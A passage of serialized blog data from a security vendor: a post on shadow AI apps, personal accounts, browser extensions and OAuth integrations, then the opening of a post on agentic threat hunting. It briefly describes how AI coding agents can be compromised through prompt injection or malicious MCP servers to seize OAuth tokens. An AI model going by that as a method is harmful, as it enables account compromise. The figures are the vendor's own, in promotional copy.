",{"data":14115,"content":14119,"nodeType":925},{"target":14116},{"sys":14117},{"id":14118,"type":922,"linkType":923},"2AfeiHub5kyZN8wuf6CJch",[],{"data":14121,"content":14122,"nodeType":866},{},[14123],{"data":14124,"marks":14125,"value":14126,"nodeType":865},{},[],"If most organizations have sanctioned one or two core AI assistants/platforms for business use, the gap between what's approved and what's actually happening is significant.",{"data":14128,"content":14131,"nodeType":925},{"target":14129},{"sys":14130},{"id":921,"type":922,"linkType":923},[],{"data":14133,"content":14134,"nodeType":953},{},[],{"data":14136,"content":14137,"nodeType":963},{},[14138],{"data":14139,"marks":14140,"value":14142,"nodeType":865},{},[14141],{"type":961},"Understanding the four categories of shadow AI",{"data":14144,"content":14145,"nodeType":866},{},[14146],{"data":14147,"marks":14148,"value":14149,"nodeType":865},{},[],"Shadow SaaS has always been a problem, but in the context of AI apps there are four categories of shadow IT that security teams need to understand, because each one introduces a different kind of risk and requires a different approach to tackling it.",{"data":14151,"content":14152,"nodeType":1458},{},[14153],{"data":14154,"marks":14155,"value":14157,"nodeType":865},{},[14156],{"type":961},"Shadow AI apps",{"data":14159,"content":14160,"nodeType":866},{},[14161],{"data":14162,"marks":14163,"value":14164,"nodeType":865},{},[],"Shadow apps are AI tools that employees have signed up to and are using for business purposes without approval. This is the most visible dimension of the problem, and the one most people think of when they hear \"shadow AI\" — an employee pastes sensitive internal documents into ChatGPT, uploads confidential files to an AI assistant, or uses an unapproved coding tool to generate production code.",{"data":14166,"content":14167,"nodeType":866},{},[14168],{"data":14169,"marks":14170,"value":14171,"nodeType":865},{},[],"All of that is sensitive data leaving the organization through channels the security team can't see - and often accessible using personal accounts that can be compromised on personal devices or workstations. ",{"data":14173,"content":14174,"nodeType":866},{},[14175,14179,14184],{"data":14176,"marks":14177,"value":14178,"nodeType":865},{},[],"The 2026 DBIR's data loss prevention analysis underscores the scale — shadow AI is now the ",{"data":14180,"marks":14181,"value":14183,"nodeType":865},{},[14182],{"type":961},"third most common non-malicious insider action",{"data":14185,"marks":14186,"value":14187,"nodeType":865},{},[]," in DLP data, a 4x increase year-over-year. Across 858,000+ DLP events targeting GenAI tools, the most common data types being submitted were source code (28%), images (16%), structured data (14%), documents (13%), and PDFs (10%). That's not employees asking ChatGPT to fix their grammar — it's core intellectual property, production code, and internal documentation flowing into platforms the security team has no visibility into. But shadow apps themselves are only the most obvious part of the problem.",{"data":14189,"content":14190,"nodeType":1458},{},[14191],{"data":14192,"marks":14193,"value":14195,"nodeType":865},{},[14194],{"type":961},"Shadow tenants",{"data":14197,"content":14198,"nodeType":866},{},[14199,14203,14208,14212,14217],{"data":14200,"marks":14201,"value":14202,"nodeType":865},{},[],"Even when an organization has approved an AI tool — say, an enterprise ChatGPT deployment — employees frequently access the same app with personal accounts, creating shadow tenants that sit entirely outside organizational control. The DBIR found that ",{"data":14204,"marks":14205,"value":14207,"nodeType":865},{},[14206],{"type":961},"67% of GenAI users on corporate devices are using non-corporate accounts",{"data":14209,"marks":14210,"value":14211,"nodeType":865},{},[],", and our own data shows that ",{"data":14213,"marks":14214,"value":14216,"nodeType":865},{},[14215],{"type":961},"38% of file uploads to AI tools are made from shadow accounts",{"data":14218,"marks":14219,"value":14220,"nodeType":865},{},[]," rather than approved organizational ones.",{"data":14222,"content":14223,"nodeType":866},{},[14224],{"data":14225,"marks":14226,"value":14227,"nodeType":865},{},[],"When an organization approves Claude, ChatGPT, or another core AI platform, you typically also approve the OAuth integration and browser extension for core apps (e.g. M365, Google Workspace, and so on). When that integration is approved, it is approved for all tenants — not just your corporate tenant. ",{"data":14229,"content":14233,"nodeType":925},{"target":14230},{"sys":14231},{"id":14232,"type":922,"linkType":923},"3Rvw0n28AYIM3FQXtHyafD",[],{"data":14235,"content":14236,"nodeType":866},{},[14237],{"data":14238,"marks":14239,"value":14240,"nodeType":865},{},[],"This means that even if you've deployed enterprise controls around your sanctioned AI tools — DLP policies, retention settings, admin oversight — more than a third of the file uploads hitting AI tools are bypassing those controls entirely because they're happening through personal accounts on corporate devices.",{"data":14242,"content":14243,"nodeType":1458},{},[14244],{"data":14245,"marks":14246,"value":14248,"nodeType":865},{},[14247],{"type":961},"Shadow extensions",{"data":14250,"content":14251,"nodeType":866},{},[14252,14256,14260],{"data":14253,"marks":14254,"value":14255,"nodeType":865},{},[],"Many AI tools come with a browser extension counterpart, and there's a large ecosystem of third-party AI extensions that offer everything from writing assistance to automated data extraction. The average organization in our dataset has ",{"data":14257,"marks":14258,"value":14092,"nodeType":865},{},[14259],{"type":961},{"data":14261,"marks":14262,"value":14263,"nodeType":865},{},[]," deployed across its workforce, with the highest we observed reaching 163 — and since each of those average 17 different extensions may be installed by multiple employees, the actual number of individual extension installs across the organization is much higher still.",{"data":14265,"content":14266,"nodeType":866},{},[14267,14271,14278,14282,14287],{"data":14268,"marks":14269,"value":14270,"nodeType":865},{},[],"The extension dimension is particularly concerning because most extensions operate with significant privilege inside the browser — they can read and modify page content, access cookies and session tokens, and interact with virtually every web application an employee uses. As we detailed in our recent analysis of ",{"data":14272,"content":14273,"nodeType":882},{"uri":4136},[14274],{"data":14275,"marks":14276,"value":14277,"nodeType":865},{},[],"browser extension risk scoring",{"data":14279,"marks":14280,"value":14281,"nodeType":865},{},[],", at least ",{"data":14283,"marks":14284,"value":14286,"nodeType":865},{},[14285],{"type":961},"46.76% of all extensions across Push customers have the permission combinations needed to perform account takeover with no user interaction",{"data":14288,"marks":14289,"value":14290,"nodeType":865},{},[],", and the extensions involved in every major supply chain breach of the past 18 months scored as normal or low-risk beforehand.",{"data":14292,"content":14296,"nodeType":925},{"target":14293},{"sys":14294},{"id":14295,"type":922,"linkType":923},"3z4JOMALI52xoOXZkzPHLD",[],{"data":14298,"content":14299,"nodeType":866},{},[14300,14304,14311],{"data":14301,"marks":14302,"value":14303,"nodeType":865},{},[],"AI extensions add a specific wrinkle to this problem: many are branded to look like official companions to well-known AI tools but are actually third-party creations with no affiliation to the original vendor. They're not necessarily malicious at the point of installation, but they're exactly the kind of extension that's likely to be ",{"data":14305,"content":14306,"nodeType":882},{"uri":4136},[14307],{"data":14308,"marks":14309,"value":14310,"nodeType":865},{},[],"acquired and weaponized",{"data":14312,"marks":14313,"value":14314,"nodeType":865},{},[]," down the line — and in the meantime, they're collecting data that their permissions entitle them to (which, in most cases, means everything the user can see in their browser).",{"data":14316,"content":14320,"nodeType":925},{"target":14317},{"sys":14318},{"id":14319,"type":922,"linkType":923},"6K3z67rohss6H3lCsSn12B",[],{"data":14322,"content":14323,"nodeType":1458},{},[14324],{"data":14325,"marks":14326,"value":14328,"nodeType":865},{},[14327],{"type":961},"Shadow integrations",{"data":14330,"content":14331,"nodeType":866},{},[14332],{"data":14333,"marks":14334,"value":14335,"nodeType":865},{},[],"The fourth dimension — and arguably the most dangerous — is shadow integrations: OAuth connections between AI tools and core enterprise apps that aren't known or approved by the security team. Even if an organization has approved an AI tool for standalone use, plugging that tool directly into Google Workspace, Microsoft 365, Salesforce, or any other one of the dozen or so SaaS apps in a typical user’s work stack is a fundamentally different risk decision, because it creates a persistent, programmatic bridge between your environment and a third party.",{"data":14337,"content":14338,"nodeType":866},{},[14339,14343,14348,14352,14357],{"data":14340,"marks":14341,"value":14342,"nodeType":865},{},[],"On average, we see ",{"data":14344,"marks":14345,"value":14347,"nodeType":865},{},[14346],{"type":961},"17 unique AI app OAuth integrations per organization",{"data":14349,"marks":14350,"value":14351,"nodeType":865},{},[]," in ",{"data":14353,"marks":14354,"value":14356,"nodeType":865},{},[14355],{"type":944},"just",{"data":14358,"marks":14359,"value":14360,"nodeType":865},{},[]," Google Workspace and Microsoft 365 (to be clear: this number excludes the dozens of downstream apps the AI assistants are integrated with as well), with the highest reaching 55. Each of those represents a unique AI product that has been granted OAuth access — the total number of individual consent grants across users is larger, because popular integrations get authorized by multiple employees independently.",{"data":14362,"content":14363,"nodeType":866},{},[14364],{"data":14365,"marks":14366,"value":14367,"nodeType":865},{},[],"The actual number of AI-related OAuth connections across the full SaaS estate is considerably higher again, because AI tools that automate workflows need to be connected to be useful — pulling data from one app, analyzing it in another, presenting results in a third.",{"data":14369,"content":14370,"nodeType":866},{},[14371],{"data":14372,"marks":14373,"value":14374,"nodeType":865},{},[],"MCP connections use OAuth to achieve this interconnectivity in the same way, and AI coding agents create a particularly concentrated version of the risk: a single agent configuration can hold OAuth tokens for Jira, Confluence, Salesforce, GitHub, and more, meaning that compromising one agent — whether through prompt injection, a malicious repository config, or a supply chain attack on an MCP server — yields persistent, broadly scoped tokens for every service it was connected to, tokens that survive session restarts and generate audit log entries indistinguishable from legitimate user activity.",{"data":14376,"content":14377,"nodeType":866},{},[14378],{"data":14379,"marks":14380,"value":14381,"nodeType":865},{},[],"It's also worth noting that OAuth blast radius is almost always larger than organizations expect. A single well-permissioned user can expose secrets, dashboards, and internal tooling without tenant-wide admin access. And every new AI tool an employee connects makes the web of abusable permissions a little wider.",{"data":14383,"content":14387,"nodeType":925},{"target":14384},{"sys":14385},{"id":14386,"type":922,"linkType":923},"4SnzJ9T93gHzFIUASx7Yb3",[],{"data":14389,"content":14390,"nodeType":953},{},[],{"data":14392,"content":14393,"nodeType":963},{},[14394],{"data":14395,"marks":14396,"value":14398,"nodeType":865},{},[14397],{"type":961},"Why shadow AI needs a different solution to shadow SaaS",{"data":14400,"content":14401,"nodeType":866},{},[14402],{"data":14403,"marks":14404,"value":14405,"nodeType":865},{},[],"The reason it's worth distinguishing between these four dimensions isn't academic. Each one requires a different control, and addressing one doesn't solve the others.",{"data":14407,"content":14408,"nodeType":866},{},[14409],{"data":14410,"marks":14411,"value":14412,"nodeType":865},{},[],"Blocking unsanctioned AI apps does nothing for the personal accounts accessing approved ones, and neither addresses the average 17 different AI extensions running with broad browser permissions, let alone the dozens of OAuth integrations that have already been granted persistent access to core enterprise apps — and even auditing OAuth in Google Workspace and Microsoft 365, where the controls are relatively mature, leaves the broader SaaS estate unaddressed, where admin tooling is inconsistent and visibility is limited.",{"data":14414,"content":14415,"nodeType":866},{},[14416,14420,14427],{"data":14417,"marks":14418,"value":14419,"nodeType":865},{},[],"The tooling gap compounds the policy gap. ",{"data":14421,"content":14422,"nodeType":882},{"uri":4378},[14423],{"data":14424,"marks":14425,"value":14426,"nodeType":865},{},[],"Omdia found",{"data":14428,"marks":14429,"value":14430,"nodeType":865},{},[]," that 58% of organizations rely on secure web gateways to secure GenAI usage — but an SWG can tell you that a user visited ChatGPT, not whether they pasted your source code into the prompt. That link between knowing where data went and knowing what the user actually did is the fundamental visibility gap that makes GenAI policies unenforceable without browser-layer tooling.",{"data":14432,"content":14433,"nodeType":1458},{},[14434],{"data":14435,"marks":14436,"value":14438,"nodeType":865},{},[14437],{"type":961},"Advice for security teams",{"data":14440,"content":14441,"nodeType":866},{},[14442],{"data":14443,"marks":14444,"value":14445,"nodeType":865},{},[],"The principles behind managing shadow AI are the same ones that have governed shadow SaaS and software supply chain management for years: default-deny where feasible, comprehensive inventory where it isn't, and continuous monitoring for changes that signal increased risk. But it's vital that teams act fast to stop the snowball.",{"data":14447,"content":14448,"nodeType":866},{},[14449],{"data":14450,"marks":14451,"value":14453,"nodeType":865},{},[14452],{"type":961},"That starts with visibility into which AI tools employees are actually using and which accounts they're using to access them — without that baseline, every other control is built on assumptions.",{"data":14455,"content":14456,"nodeType":866},{},[14457,14462,14466,14473],{"data":14458,"marks":14459,"value":14461,"nodeType":865},{},[14460],{"type":961},"Extensions",{"data":14463,"marks":14464,"value":14465,"nodeType":865},{},[]," need the same ",{"data":14467,"content":14468,"nodeType":882},{"uri":4136},[14469],{"data":14470,"marks":14471,"value":14472,"nodeType":865},{},[],"default-deny allowlisting approach",{"data":14474,"marks":14475,"value":14476,"nodeType":865},{},[]," that has been best practice for software management elsewhere: build a complete inventory, allowlist what's vetted, block everything else, and monitor the approved set for changes that precede weaponization.",{"data":14478,"content":14479,"nodeType":866},{},[14480,14485],{"data":14481,"marks":14482,"value":14484,"nodeType":865},{},[14483],{"type":961},"OAuth",{"data":14486,"marks":14487,"value":14488,"nodeType":865},{},[]," demands the most urgency, because each unmanaged integration is a persistent trust relationship that survives password resets and MFA changes — adopt default-deny for consent grants in your primary enterprise apps, routinely audit what's already connected, and critically extend that visibility beyond Google and Microsoft to the broader SaaS estate where the controls are weaker and the sprawl is harder to track.",{"data":14490,"content":14494,"nodeType":925},{"target":14491},{"sys":14492},{"id":14493,"type":922,"linkType":923},"3RFLFtJtDXvhTz1mVztfV9",[],{"data":14496,"content":14497,"nodeType":953},{},[],{"data":14499,"content":14500,"nodeType":963},{},[14501],{"data":14502,"marks":14503,"value":14505,"nodeType":865},{},[14504],{"type":961},"Browser visibility and control is key to de-risking AI adoption",{"data":14507,"content":14508,"nodeType":866},{},[14509],{"data":14510,"marks":14511,"value":14512,"nodeType":865},{},[],"AI usage is fundamentally browser-based activity — every LLM interaction, every prompt containing sensitive data, every AI agent authorization, every OAuth consent grant happens inside a browser session — which makes the browser the natural control point for AI governance across the workforce. ",{"data":14514,"content":14515,"nodeType":866},{},[14516],{"data":14517,"marks":14518,"value":14519,"nodeType":865},{},[],"Push tracks AI app usage and login security across the workforce, inventories and controls AI browser extensions, monitors and blocks OAuth consent flows across any app (not just the primary enterprise platforms), and gives security teams a single view of the full shadow AI picture across all four dimensions.",{"data":14521,"content":14522,"nodeType":866},{},[14523],{"data":14524,"marks":14525,"value":14526,"nodeType":865},{},[],"Shadow AI isn't a problem that will age well if ignored. Every week that passes without visibility adds more apps, more extensions, more integrations, and more potential breach paths into the environment — and as the Vercel breach demonstrated, it only takes one forgotten OAuth grant to turn an employee's idle curiosity into an organization-wide incident.",{"data":14528,"content":14529,"nodeType":866},{},[14530,14534,14542],{"data":14531,"marks":14532,"value":14533,"nodeType":865},{},[],"Learn more about how you can tackle ",{"data":14535,"content":14537,"nodeType":882},{"uri":14536},"https://pushsecurity.com/uc/shadow-ai",[14538],{"data":14539,"marks":14540,"value":580,"nodeType":865},{},[14541],{"type":997},{"data":14543,"marks":14544,"value":14545,"nodeType":865},{},[]," with Push. ",{"data":14547,"content":14548,"nodeType":953},{},[],{"data":14550,"content":14551,"nodeType":866},{},[14552],{"data":14553,"marks":14554,"value":2792,"nodeType":865},{},[],{"data":14556,"content":14557,"nodeType":866},{},[14558],{"data":14559,"marks":14560,"value":1718,"nodeType":865},{},[],{"data":14562,"content":14563,"nodeType":866},{},[14564,14567,14574],{"data":14565,"marks":14566,"value":1725,"nodeType":865},{},[],{"data":14568,"content":14569,"nodeType":882},{"uri":1728},[14570],{"data":14571,"marks":14572,"value":1734,"nodeType":865},{},[14573],{"type":997},{"data":14575,"marks":14576,"value":1738,"nodeType":865},{},[],"Shadow AI: what Push data reveals about the scale of the problem","Push telemetry shows the average organization has 16 AI apps, 17 AI browser extensions, and 17 AI OAuth integrations in use. Here's what it means for security.","2026-05-28T00:00:00.000Z","what-push-data-reveals-about-the-state-of-shadow-ai",{"items":14582},[14583,14585],{"sys":14584,"name":2825},{"id":2824},{"sys":14586,"name":297},{"id":2828},{"items":14588},[14589],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":14590},{"url":11434},"blog/why-you-cant-control-ai-without-being-in-the-browser","AI visibility and control is a feature. Browser security is the foundation.",{"json":14594},{"data":14595,"content":14596,"nodeType":1739},{},[14597],{"data":14598,"content":14599,"nodeType":866},{},[14600],{"data":14601,"marks":14602,"value":3763,"nodeType":865},{},[],{"id":2839,"publishedAt":14604},"2026-08-12T11:52:42.429Z",{"items":14606},[14607,14609],{"sys":14608,"name":297},{"id":2828},{"sys":14610,"name":2825},{"id":2824},{"items":14612},[14613,14615,14617,14619,14621,14623,14625,14627,14629,14631,14633,14635,14637,14639,14641,14643,14645,14647,14649],{"sys":14614,"name":235,"slug":236,"tier":31},{"id":232},{"sys":14616,"name":297,"slug":298,"tier":31},{"id":294},{"sys":14618,"name":279,"slug":280,"tier":31},{"id":276},{"sys":14620,"name":519,"slug":520,"tier":31},{"id":516},{"sys":14622,"name":545,"slug":546,"tier":31},{"id":542},{"sys":14624,"name":580,"slug":581,"tier":45},{"id":577},{"sys":14626,"name":252,"slug":253,"tier":45},{"id":249},{"sys":14628,"name":368,"slug":369,"tier":45},{"id":365},{"sys":14630,"name":484,"slug":485,"tier":45},{"id":481},{"sys":14632,"name":288,"slug":289,"tier":45},{"id":285},{"sys":14634,"name":315,"slug":316,"tier":45},{"id":312},{"sys":14636,"name":360,"slug":361,"tier":45},{"id":357},{"sys":14638,"name":261,"slug":262,"tier":45},{"id":258},{"sys":14640,"name":440,"slug":441,"tier":45},{"id":437},{"sys":14642,"name":475,"slug":476,"tier":45},{"id":472},{"sys":14644,"name":324,"slug":325,"tier":45},{"id":321},{"sys":14646,"name":633,"slug":634,"tier":45},{"id":630},{"sys":14648,"name":244,"slug":245,"tier":45},{"id":241},{"sys":14650,"name":607,"slug":608,"tier":45},{"id":604},"sEvs1NG13z8Guz6oaxJbRvlEv7Tcmf1seFlO6IQdBPM",{"id":14653,"title":14654,"authorsCollection":14655,"content":14659,"extension":228,"faqItemsCollection":15275,"faqTitle":59,"featured":6,"hashTags":59,"meta":15277,"metaTitle":15278,"ogImage":59,"postType":1783,"publishedDate":2818,"relatedBlogPostsCollection":15279,"slug":17489,"stem":17490,"subtitle":59,"summary":17491,"synopsis":17501,"sys":17502,"tagsCollection":17505,"topicsCollection":17511,"__hash__":17529},"blog/blog/why-you-cant-vibecode-an-ai-driven-threat-hunting-pipeline.json","No, you can’t just vibecode an AI-driven threat hunting pipeline",{"items":14656},[14657],{"fullName":3774,"firstName":3775,"jobTitle":3776,"socialLinks":59,"profilePicture":14658},{"url":3778},{"json":14660,"links":15212},{"data":14661,"content":14662,"nodeType":1739},{},[14663,14670,14677,14697,14705,14712,14720,14723,14730,14737,14755,14762,14770,14777,14784,14791,14798,14804,14807,14814,14821,14828,14847,14854,14861,14868,14875,14882,14889,14896,14903,14921,14928,14935,14942,14945,14952,14959,14966,14973,14979,14986,14993,15000,15007,15013,15020,15027,15034,15041,15063,15070,15077,15084,15091,15107,15114,15121,15128,15135,15141,15148,15155,15162,15168,15171,15178,15195],{"data":14664,"content":14665,"nodeType":866},{},[14666],{"data":14667,"marks":14668,"value":14669,"nodeType":865},{},[],"What would it take to vibecode your own AI-driven threat hunting pipeline? ",{"data":14671,"content":14672,"nodeType":866},{},[14673],{"data":14674,"marks":14675,"value":14676,"nodeType":865},{},[],"The commercial models are right there. You’ve probably got a spare weekend coming up, a really nice espresso machine, and a few bucks for tokens. (Is there already an HGTV series on this?)",{"data":14678,"content":14679,"nodeType":866},{},[14680,14684,14693],{"data":14681,"marks":14682,"value":14683,"nodeType":865},{},[],"We recently published a ",{"data":14685,"content":14687,"nodeType":882},{"uri":14686},"https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline",[14688],{"data":14689,"marks":14690,"value":14692,"nodeType":865},{},[14691],{"type":997},"detailed look",{"data":14694,"marks":14695,"value":14696,"nodeType":865},{},[]," at how we use AI agents as a force multiplier for Push’s threat hunting and detection engineering capabilities.One intriguing detail you might have noticed in that article is that at Push, we treat commercial AI models as commoditized infrastructure, akin to cloud computing.",{"data":14698,"content":14699,"nodeType":866},{},[14700],{"data":14701,"marks":14702,"value":14704,"nodeType":865},{},[14703],{"type":961},"So it’s a cheeky question, but a fair one, because if Push is using commercial models, what exactly are you paying for?",{"data":14706,"content":14707,"nodeType":866},{},[14708],{"data":14709,"marks":14710,"value":14711,"nodeType":865},{},[],"It turns out that the models are the easiest things to replace, and in fact we swap out different models with little impact on detection performance. What’s much harder to build is the expertise: the technical knowledge of various attack techniques, the instrumentation in the browser that produces the structured telemetry, and the enforcement layer that turns detections into real-time protection.",{"data":14713,"content":14714,"nodeType":866},{},[14715],{"data":14716,"marks":14717,"value":14719,"nodeType":865},{},[14718],{"type":961},"Let’s break it down.",{"data":14721,"content":14722,"nodeType":953},{},[],{"data":14724,"content":14725,"nodeType":963},{},[14726],{"data":14727,"marks":14728,"value":14729,"nodeType":865},{},[],"The promise and the perils of threat hunting (and where agentic capabilities fit in)",{"data":14731,"content":14732,"nodeType":866},{},[14733],{"data":14734,"marks":14735,"value":14736,"nodeType":865},{},[],"Threat hunting — the practice of proactively searching for threats that haven’t been seen before — is one of the most effective practices in security and one of the least accessible.",{"data":14738,"content":14739,"nodeType":866},{},[14740,14743,14751],{"data":14741,"marks":14742,"value":873,"nodeType":865},{},[],{"data":14744,"content":14746,"nodeType":882},{"uri":14745},"https://www.sans.org/white-papers/sans-2025-threat-hunting-survey-advancements-threat-hunting-amid-ai-cloud-challenges",[14747],{"data":14748,"marks":14749,"value":14750,"nodeType":865},{},[],"SANS 2025 Threat Hunting Survey",{"data":14752,"marks":14753,"value":14754,"nodeType":865},{},[]," found that 61% of organizations cite staffing shortages as the top barrier to running a hunting program. A single manual hunt takes 10 to 20 hours of sustained analyst focus — forming hypotheses about what an attacker might be doing, querying data sources sequentially, correlating results by hand, documenting findings. Many organizations hunt infrequently or not at all.",{"data":14756,"content":14757,"nodeType":866},{},[14758],{"data":14759,"marks":14760,"value":14761,"nodeType":865},{},[],"Threat hunting in the browser poses specific challenges: The stakes are high as AI-enabled attacks accelerate, and the availability of training and knowledge is low. ",{"data":14763,"content":14764,"nodeType":866},{},[14765],{"data":14766,"marks":14767,"value":14769,"nodeType":865},{},[14768],{"type":961},"AiTM phishing kits that manipulate DOM elements in real time, ClickFix variants that inject malicious payloads through clipboard manipulation, ConsentFix attacks that abuse OAuth consent flows, credential harvesting on pages that rotate infrastructure hourly — these techniques don't map cleanly onto the endpoint-focused threat models most SOC teams were built around, or the data sources they’re used to interrogating. ",{"data":14771,"content":14772,"nodeType":866},{},[14773],{"data":14774,"marks":14775,"value":14776,"nodeType":865},{},[],"Even well-staffed security organizations tend to have a blind spot in the browser layer because the expertise required to hunt there is specialized and the telemetry to support it hasn't historically been available.",{"data":14778,"content":14779,"nodeType":866},{},[14780],{"data":14781,"marks":14782,"value":14783,"nodeType":865},{},[],"Using AI agents to hunt for browser-based threats promises a net-new capability for smaller teams without dedicated threat hunting staff. For larger enterprises, the value of an agentic threat hunting capability lies in its ability to provide (or augment) expertise on emerging attack methods.",{"data":14785,"content":14786,"nodeType":866},{},[14787],{"data":14788,"marks":14789,"value":14790,"nodeType":865},{},[],"Most SOC teams have deep expertise at the endpoint, IdP, cloud, and network layers, built over years of working with those systems’ telemetry and workflows. But browser-based attacks operate in a different domain with different telemetry, different TTPs, and a different evasion model.",{"data":14792,"content":14793,"nodeType":866},{},[14794],{"data":14795,"marks":14796,"value":14797,"nodeType":865},{},[],"A capability like Push’s provides an answer to these three hurdles: providing expertise, without any additional burden on staff, and at a speed that matches the acceleration we’re currently witnessing in browser-based attack techniques.",{"data":14799,"content":14803,"nodeType":925},{"target":14800},{"sys":14801},{"id":14802,"type":922,"linkType":923},"1uw9eFMPDdrevj26fyix5f",[],{"data":14805,"content":14806,"nodeType":953},{},[],{"data":14808,"content":14809,"nodeType":963},{},[14810],{"data":14811,"marks":14812,"value":14813,"nodeType":865},{},[],"This isn’t chatbot log analysis",{"data":14815,"content":14816,"nodeType":866},{},[14817],{"data":14818,"marks":14819,"value":14820,"nodeType":865},{},[],"When you hear “AI-powered threat hunting,” you might imagine an AI copilot sitting on top of your SIEM, summarizing alerts and correlating log entries faster than a human analyst could. It’s a fair assumption because many products use this kind of implementation, and tools like those are useful.",{"data":14822,"content":14823,"nodeType":866},{},[14824],{"data":14825,"marks":14826,"value":14827,"nodeType":865},{},[],"That’s not what we built at Push.",{"data":14829,"content":14830,"nodeType":866},{},[14831,14835,14843],{"data":14832,"marks":14833,"value":14834,"nodeType":865},{},[],"If you’re not familiar with Push, it’s a browser security platform deployed as an extension that detects and stops advanced browser-based attacks while also providing visibility and control over shadow apps and identities, including AI usage. You can use the same telemetry Push provides for these use cases to ",{"data":14836,"content":14838,"nodeType":882},{"uri":14837},"https://pushsecurity.com/blog/why-you-cant-control-ai-without-being-in-the-browser/",[14839],{"data":14840,"marks":14841,"value":14842,"nodeType":865},{},[],"perform data loss and insider risk investigations",{"data":14844,"marks":14845,"value":14846,"nodeType":865},{},[],", too.",{"data":14848,"content":14849,"nodeType":866},{},[14850],{"data":14851,"marks":14852,"value":14853,"nodeType":865},{},[],"What we built is an agentic threat hunting and detection pipeline where AI agents collaborate with in-house threat researchers to continuously hunt for emerging browser-based attack techniques across our customer base, and then automatically write and deploy new detections.",{"data":14855,"content":14856,"nodeType":866},{},[14857],{"data":14858,"marks":14859,"value":14860,"nodeType":865},{},[],"Our pipeline differs from AI-enabled log analysis in three key ways:",{"data":14862,"content":14863,"nodeType":1458},{},[14864],{"data":14865,"marks":14866,"value":14867,"nodeType":865},{},[],"A new telemetry source is the foundation",{"data":14869,"content":14870,"nodeType":866},{},[14871],{"data":14872,"marks":14873,"value":14874,"nodeType":865},{},[],"First, the Push platform generates its own telemetry. The Push browser extension operates as a flight recorder, locally collecting browser session metadata that doesn’t exist anywhere else in the security stack — details like DOM structure, script execution contexts, redirect chains, credential entry behavior, OAuth consent flows, and network requests observed from inside the session. ",{"data":14876,"content":14877,"nodeType":866},{},[14878],{"data":14879,"marks":14880,"value":14881,"nodeType":865},{},[],"This metadata is stored locally and only queried during targeted threat hunts, preserving user and customer privacy.",{"data":14883,"content":14884,"nodeType":1458},{},[14885],{"data":14886,"marks":14887,"value":14888,"nodeType":865},{},[],"Proactive hunting, not just reactive triage",{"data":14890,"content":14891,"nodeType":866},{},[14892],{"data":14893,"marks":14894,"value":14895,"nodeType":865},{},[],"The pipeline also hunts proactively rather than triaging reactively, as with log analysis agents.",{"data":14897,"content":14898,"nodeType":866},{},[14899],{"data":14900,"marks":14901,"value":14902,"nodeType":865},{},[],"Push agents generate hypotheses, craft queries against the telemetry corpus, run them across millions of browsers, and triage the results — searching for techniques that haven't triggered any existing alert or rule. ",{"data":14904,"content":14905,"nodeType":866},{},[14906,14909,14917],{"data":14907,"marks":14908,"value":873,"nodeType":865},{},[],{"data":14910,"content":14911,"nodeType":882},{"uri":11342},[14912],{"data":14913,"marks":14914,"value":14916,"nodeType":865},{},[14915],{"type":997},"InstallFix discovery",{"data":14918,"marks":14919,"value":14920,"nodeType":865},{},[]," described in the original agentic threat hunting article is the clearest example: The Push pipeline surfaced 12 meaningful results from trillions of browser events, and one of them was a novel attack technique. That's threat hunting at machine scale, not just alert triage.",{"data":14922,"content":14923,"nodeType":1458},{},[14924],{"data":14925,"marks":14926,"value":14927,"nodeType":865},{},[],"Not just analysis, but new detections, too",{"data":14929,"content":14930,"nodeType":866},{},[14931],{"data":14932,"marks":14933,"value":14934,"nodeType":865},{},[],"Finally, the output isn’t (only) a natural-language summary of what the agents found. It’s a production detection rule that ships to every Push customer and wires into real-time enforcement controls defined by Push admins. ",{"data":14936,"content":14937,"nodeType":866},{},[14938],{"data":14939,"marks":14940,"value":14941,"nodeType":865},{},[],"The pipeline's job isn’t to help you understand an alert faster. Rather, it’s producing detection rules that didn't exist before at a speed that enables those detections to address emerging attack techniques and organization-specific campaigns within minutes.",{"data":14943,"content":14944,"nodeType":953},{},[],{"data":14946,"content":14947,"nodeType":963},{},[14948],{"data":14949,"marks":14950,"value":14951,"nodeType":865},{},[],"Agentic threat hunting as core product infrastructure",{"data":14953,"content":14954,"nodeType":866},{},[14955],{"data":14956,"marks":14957,"value":14958,"nodeType":865},{},[],"The nice thing about commercially available AI models is that they’re really good at understanding web code. That arcane Javascript function you’d have to look up in the docs? They recognize it immediately. That makes them perfectly suited to provide domain knowledge that can be harnessed with the right security expertise.",{"data":14960,"content":14961,"nodeType":866},{},[14962],{"data":14963,"marks":14964,"value":14965,"nodeType":865},{},[],"Using commercial models in our agentic detection pipeline then becomes a force multiplier for our research team’s understanding of TTPs — not a security engine in and of itself.",{"data":14967,"content":14968,"nodeType":866},{},[14969],{"data":14970,"marks":14971,"value":14972,"nodeType":865},{},[],"The four core components of our agentic pipeline can’t be replaced by using the same models we do, because the value is not in the models, but in the product infrastructure, product telemetry, and research expertise those models capitalize on.",{"data":14974,"content":14978,"nodeType":925},{"target":14975},{"sys":14976},{"id":14977,"type":922,"linkType":923},"7oif7PEEC3UMoTqVfRz3ZJ",[],{"data":14980,"content":14981,"nodeType":1458},{},[14982],{"data":14983,"marks":14984,"value":14985,"nodeType":865},{},[],"Component 1: The flight recorder",{"data":14987,"content":14988,"nodeType":866},{},[14989],{"data":14990,"marks":14991,"value":14992,"nodeType":865},{},[],"We deploy as a browser extension — not a separate browser, a proxy or an endpoint agent — which means we sit inside the browser session itself, seeing what the user sees. ",{"data":14994,"content":14995,"nodeType":866},{},[14996],{"data":14997,"marks":14998,"value":14999,"nodeType":865},{},[],"A component of the extension acts as a flight recorder, collecting and locally storing browser-level metadata: DOM elements, tab context, script execution, network traffic, user actions, credential entry, and more. This body of structured browser event metadata is the searchable landscape for every hunt.",{"data":15001,"content":15002,"nodeType":866},{},[15003],{"data":15004,"marks":15005,"value":15006,"nodeType":865},{},[],"That's a data source most security teams have never had access to. You can't get it from an endpoint agent, a network proxy, or a cloud access log, because it doesn't exist outside the browser session. Turns out, it matters more than the model itself: When the model has this full browser context — the DOM, redirect chains, user behavior — it can reason about what happened. When it has to start guessing at those details, it starts hallucinating.",{"data":15008,"content":15012,"nodeType":925},{"target":15009},{"sys":15010},{"id":15011,"type":922,"linkType":923},"6qs9xZvmKlVXOLVhFfMVFx",[],{"data":15014,"content":15015,"nodeType":1458},{},[15016],{"data":15017,"marks":15018,"value":15019,"nodeType":865},{},[],"Component 2: The internal knowledge 